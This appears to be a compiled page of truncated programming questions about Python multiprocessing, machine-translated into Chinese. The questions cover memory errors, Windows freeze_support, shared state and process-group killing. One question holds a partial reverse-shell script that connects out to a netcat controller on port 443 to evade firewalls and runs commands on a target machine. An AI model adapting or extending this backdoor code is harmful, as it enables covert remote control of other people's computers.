标签: python-multiprocessing

我的代码(遗传优化算法的一部分)并行运行几个进程,等待所有进程完成,读取输出,然后用不同的输入重复.当我用60次重复测试时,一切都很好.由于它有效,我决定使用更真实的重复次数,200.我收到了这个错误:

File "/usr/lib/python2.7/threading.py", line 551, in __bootstrap_inner
 self.run()
File "/usr/lib/python2.7/threading.py", line 504, in run
 self.__target(*self.__args, **self.__kwargs)
File "/usr/lib/python2.7/multiprocessing/pool.py", line 302, in _handle_workers
 pool._maintain_pool()
File "/usr/lib/python2.7/multiprocessing/pool.py", line 206, in _maintain_pool
 self._repopulate_pool()
File "/usr/lib/python2.7/multiprocessing/pool.py", line 199, in _repopulate_pool
 w.start()
File "/usr/lib/python2.7/multiprocessing/process.py", line 130, in start
 self._popen = Popen(self)
File "/usr/lib/python2.7/multiprocessing/forking.py", line 120, in __init__
 self.pid = os.fork()
OSError: [Errno 12] Cannot allocate memory

这是我使用池的代码片段:

def RunMany(inputs):
from multiprocessing import cpu_count, Pool
proc=inputs[0]
pool=Pool(processes = proc) 
results=[]
for arg1 in inputs[1]:
    for arg2 …

我有一个类函数(让我们称之为"alpha.py"),它使用多处理(processes = 2)来分叉一个进程,并且是我编写的Python包的一部分.在一个单独的Python脚本中(我们称之为"beta.py"),我从这个类中实例化了一个对象并调用了使用多处理的相应函数.最后,所有这些都包含在一个包装Python脚本(让我们称之为"gamma.py")中,它处理许多不同的类对象和函数.

实质上:

1. 从命令行运行./gamma.py
2. gamma.py使用子进程并执行beta.py.
3. beta.py从alpha.py类中实例化一个对象并调用使用多处理的函数(processes = 2)

这在Mac或Linux上运行没有问题.但是,它在Windows机器上成为一个问题,错误(和文档)表明我应该在某处写这个:

if __name__ == '__main__':
    freeze_support()

这篇文章还提到做同样的事情.

但是,我不确切知道这两行应该驻留在哪里.目前,alpha.py,beta.py或gamma.py都不包含if __name__ == '__main__':节.如果有人能告诉我这两条线应该去哪里以及背后的理由,那将是很棒的.

我正在使用tensorflow来预处理一些大图像.我遇到了一个内存迅速崩溃的问题.我转向在python中使用多处理,因此内存将在我想要的时候完全释放.

问题是,我正在使用python的多进程队列,由于某种原因未知,我无法将我的tensorflow会话从我的父进程传递给子进程.使用一些高级调试技术(即每几行打印一些东西)我注意到python在我使用会话的行内空闲,它不会抛出错误消息.

我的代码看起来像这样:

def subprocess(some_image, sess, q):
    with sess.as_default():
        # ... use sess and q ...
        print "All good and well" #This is printed
        some_image.eval() #Nothing happens here in console
        print "Still all good and well" #This is not printed

if __name__ == '__main__':
    # ... some initial operations ...
    some_image = read_some_image()

    sess = tf.Session()

    q = Queue()
    q.put(something)
    p = Process(target=subprocess, args=(some_image, sess, q))
    p.start()
    p.join()

可能是什么问题呢？非常感谢!

我有一个存储对象的字典:

jobs = {}
job = Job()
jobs[job.name] = job

现在我想将它转换为使用管理器dict,因为我想使用多处理并需要共享这个dict amonst进程

mgr = multiprocessing.Manager()
jobs = mgr.dict()
job = Job()
jobs[job.name] = job

只是通过转换为使用manager.dict(),事情变得非常缓慢.

例如,如果使用原生字典,则只需0.65秒即可创建625个对象并将其存储到dict中.

同样的任务现在需要126秒!

我可以做的任何优化使manager.dict()与python {}保持一致？

我有一套2000个经过训练的随机回归树(来自scikit learn's Random Forest Regressor n_estimators=1).使用multiprocessing和共享内存在大型数据集(~100000*700000 = 70GB @ 8位)上并行训练树木(50个核心)就像魅力一样.注意,我之前没有使用RF的内置多核支持,因为我正在进行功能选择.

问题是:当并行测试大矩阵(~20000*700000)时,我的内存总是耗尽(我可以访问具有500 GB RAM的服务器).

我的策略是将测试矩阵放在内存中并在所有进程之间共享.根据其中一位开发人员的声明,测试的内存要求是2*n_jobs*sizeof(X),在我的情况下,*4的另一个因子是相关的,因为8位矩阵条目在RF内部向上转换为float32.

根据数字,我认为我需要测试:
14GB将测试矩阵保存在内存中+ 50(= n_jobs)*20000(n_samples)*700(= n_features)*4(向上转换为浮动)*2字节= 14 gb + 5.6 gb = ~21GB的内存.

然而它总是吹到几百GB.我在这里错过了什么？(我是scikit-learn的最新版本,所以应该解决旧的内存问题)

观察:
在一个核心上运行仅用于测试的内存使用量在30到100 GB之间波动(按测量值free)

我的代码:

#----------------
#helper functions
def initializeRFtest(*args):
    global df_test, pt_test #initialize test data and test labels as globals in shared memory
    df_test, pt_test = args


def star_testTree(model_featidx):
    return predTree(*model_featidx)

#end of helper functions
#-------------------

def RFtest(models, df_test, pt_test, features_idx, no_trees):
    #test trees …

下面的代码有效但每次运行程序时,例如目标机器上的记事本,提示都会停止,直到我退出程序.

如何在目标机器上同时运行多个程序？我想它可以通过线程或子进程模块来实现,但我仍然无法使用这个概念.

我怎样才能做到这一点？

import socket
import time
import subprocess #Executar comandos do SO

#criando a conexao reversa

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada

def connect(IP,PORT):
    #conectando a central de controle 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # IP/TCP

        s.connect((IP,PORT))
        s.send('[!] Conexao recebida\n')        # msg pra ver se foi conectado
        #s.close()
        return …

我试图将共享秘密传递给子进程.在Linux环境中,这可行.在Windows环境中,孩子不会收到共享密钥.下面的三个文件是我正在尝试做的一个简单示例:

main.py

import multiprocessing
import module1
import module2

if __name__ == "__main__":
    module1.init()
    process = multiprocessing.Process(target=module2.start)
    process.start()
    process.join()

module1.py

import ctypes
import multiprocessing

x = None

def init():
    global x
    x = multiprocessing.Value(ctypes.c_wchar_p, "asdf")

module2.py

import module1

def start():
    print(module1.x.value)

在Ubuntu 14.04环境中,在Python 3.5上,我收到以下输出:

$ python3 main.py
asdf

在CentOS 7环境中,我收到以下输出:

$ python3 main.py
asdf

在Windows 10上使用Windows子系统Linux(在创建者更新之前和之后,所以Ubuntu 14.04和16.04)我得到以下输出:

$ python3 main.py
asdf

但是,在Windows 7和Windows 10环境中,使用3.5或3.6,我得到的AttributeError不是上面的输出:

Process Process-1:
Traceback (most recent call last):
  File "C:\Python\Python35\lib\multiprocessing\process.py", line 249, in _bootstrap
    self.run()
  File …

我在具有8 GB RAM的macOS上具有4个内核(8线程超线程)的Intel i7并行生成大约400,000,000(4亿)个随机数.

但是,我也在DigitalOcean服务器上生成400,000,000个随机数,Debian上有20个内核,64 GB RAM.

这是代码:

import multiprocessing
import random

rangemin = 1
rangemax = 9

def randomGenPar_backend(backinput):
    return random.randint(rangemin, rangemax)

def randomGenPar(num):
    pool = multiprocessing.Pool()
    return pool.map(randomGenPar_backend, range(0, num))

randNum = 400000000

random.seed(999)
randomGenPar(randNum)

这些是基准测试的结果:

5,000,000 Random Numbers:
1 Core: 5.984
8 Core: 1.982

50,000,000 Random Numbers:
1 Core: 57.28
8 Core: 19.799
20 Core: 18.257
Times Benefit (20 core vs. 8 core) = 1.08

100,000,000 Random Numbers:
1 Core: 115
8 Core: 40.434
20 Core: 31.652 …

我正在尝试解析包含汽车属性的网站(154种属性).我有一个巨大的列表(名称是 liste_test),包含280.000二手车公告网址.

def araba_cekici(liste_test,headers,engine):
    for link in liste_test:
        try:
            page = requests.get(link, headers=headers)
        .....
        .....

当我开始这样的代码时:

araba_cekici(liste_test,headers,engine)

它起作用并获得结果.但大约在1小时内,我只能获得1500个URL的属性.它非常慢,我必须使用多处理.

我在这里找到了一个带有多处理的结果.然后我申请了我的代码,但不幸的是,它没有用.

import numpy as np
import multiprocessing as multi

def chunks(n, page_list):
    """Splits the list into n chunks"""
    return np.array_split(page_list,n)

cpus = multi.cpu_count()

workers = []   
page_bins = chunks(cpus, liste_test)


for cpu in range(cpus):
    sys.stdout.write("CPU " + str(cpu) + "\n")
    # Process that will send corresponding list of pages 
    # to the function perform_extraction
    worker = …

我正在编写代码以并行运行实验。我无法控制实验的内容，它们可能会公开使用subprocess.Popen或check_output运行一个或多个其他子进程。

我有两个条件：我希望能够终止超过超时的实验，并且希望终止于的实验KeyboardInterrupt。

大多数终止进程的方法都不能确保杀死所有子进程等。如果一个接一个地运行数百个实验，但是它们都生成了子进程，这些子进程在超时发生后仍然存活，并且据说该实验被终止，那么这显然是一个问题。

我现在处理该问题的方式包括添加代码以将实验配置存储在数据库中，生成从命令行加载和运行实验的代码，然后通过调用这些命令subprocess.Popen(cmd, shell=True, start_new_session=True)并使用os.killpg超时终止它们。

然后我的主要问题是：通过命令行调用这些实验很麻烦，因此有没有一种方法可以直接通过调用代码，multiprocessing.Process(target=fn)并在超时和？时获得与start_new_session=True+ 相同的效果。os.killpgKeyboardInterrupt

<file1>
def run_exp(config):
    do work
    return result

if __name__ == "__main__":
    save_exp(run_exp(load_config(sys.args)))

<file2>
def monitor(queue):
    active = set()  # active process ids
    while True:
        msg = queue.get()
        if msg == "sentinel":
             <loop over active ids and kill them with os.killpg>
        else:
            <add or remove id from active set>


def worker(args):
    id, queue = args …